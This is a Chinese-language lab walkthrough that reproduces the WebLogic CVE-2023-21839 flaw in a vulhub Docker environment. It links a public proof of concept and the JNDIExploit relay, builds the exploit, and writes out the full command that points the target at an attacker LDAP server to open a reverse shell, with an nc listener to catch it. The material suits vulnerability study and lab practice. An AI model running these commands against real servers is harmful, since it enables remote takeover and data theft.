CVE-2023-21839 【vulhub weblogic 漏洞复现】

漏洞概述

由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

环境搭建

contos7 （我的环境在）

进入环境

启动容器

docker-compose up -d			//启动容器		（绿色done代表启动成功）
docker-compose ps -a			//查看状态	

浏览访问

靶机ip+分配端口/console
输入后等一会
地址：http://192.168.10.30:7001/console

漏洞复现

poc地址：https://github.com/4ra1n/CVE-2023-21839

下载完，拖kali里面，解压

unzip CVE-2023-21839-master.zip 

kali里面安装go环境

apt install gccgo-go 
apt install golang-go

进入poc环境

编译

go build -o CVE-2023-21839

编译后

攻击命令

（-ip和-port为靶机的IP和端口，-ldap里的IP都为攻击IP，前面的端口号是中转工具的默认端口，后面为导出的端口号）

./CVE-2023-21839 -ip 192.168.xxx.xx1 -port 7001 -ldap ldap://192.168.xxx.xx2:1389/Basic/ReverseShell/192.168.xxx.xx2/7892

中转工具

JNDIExploit v1.4地址：
https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4
下载拖进kali里，解压

攻击

（-i为攻击机IP）

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xx

开启中专工具监听

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.10.55

kali再开一个窗口开启监听

nc -lvnp 7892 

kali再开一个窗口攻击

./CVE-2023-21839 -ip 192.168.10.30 -port 7001 -ldap ldap://192.168.10.55:1389/Basic/ReverseShell/192.168.10.55/7892

反弹shell

后谈

如果反弹不了，可能是java版本过高需要在java1.8的环境上运行
卸载原有java版本

apt-get remove openjdk*
apt autoremove

下载安装java1.8
下载链接：
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
下载之后拖进kali里

tar -xzvf jdk-8u202-linux-x64.tar.gz			//解压
mv jdk1.8.0_202 /opt				//移动

进入对应路径

依次执行

export JAVA_HOME=/opt/jdk1.8.0_202 
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_202/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_202/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_202/bin/java
update-alternatives --set javac /opt/jdk1.8.0_202/bin/javac
java -version		//完成查看版本